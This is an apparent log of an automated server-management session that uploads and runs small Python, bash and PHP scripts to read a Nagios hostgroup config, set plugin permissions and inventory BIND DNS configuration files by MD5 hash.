MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 20:35:08: Establishing a connection
2026-06-13 20:35:08: Establishing a connection
2026-06-13 20:35:09: 

PUT: /tmp/pkp564679

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp564679; /tmp/pkp564679; rm /tmp/pkp564679

2026-06-13 20:35:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-06-13 20:35:09: 

systemctl reload nagios

2026-06-13 20:35:09: 




2026-06-13 20:35:09: 

PUT: /tmp/pkp632272

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp632272; /tmp/pkp632272; rm /tmp/pkp632272

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:09: 

PUT: /tmp/pkp472341

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp472341; /tmp/pkp472341; rm /tmp/pkp472341

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:09: 

PUT: /tmp/pkp323858

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp323858; /tmp/pkp323858; rm /tmp/pkp323858

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:09: 

PUT: /tmp/pkp848073

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp848073; /tmp/pkp848073; rm /tmp/pkp848073

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:09: 

PUT: /tmp/pkp718312

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp718312; /tmp/pkp718312; rm /tmp/pkp718312

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:09: 

PUT: /tmp/pkp535166

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp535166; /tmp/pkp535166; rm /tmp/pkp535166

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:09: 

PUT: /tmp/pkp574835

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp574835; /tmp/pkp574835; rm /tmp/pkp574835

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:09: 

PUT: /tmp/pkp491661

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-06-13 20:35:09: 

chmod 755 /tmp/pkp491661; /tmp/pkp491661; rm /tmp/pkp491661

2026-06-13 20:35:09: 


ok


2026-06-13 20:35:10: 

PUT: /tmp/pkp987791

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-06-13 20:35:10: 

chmod 755 /tmp/pkp987791; /tmp/pkp987791; rm /tmp/pkp987791

2026-06-13 20:35:10: 


ok


2026-06-13 20:38:37: Establishing a connection
2026-06-13 20:38:43: Establishing a connection
2026-06-13 20:38:43: 

PUT: /tmp/pkp974307

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 20:38:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp974307; rm /tmp/pkp974307'

2026-06-13 20:38:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
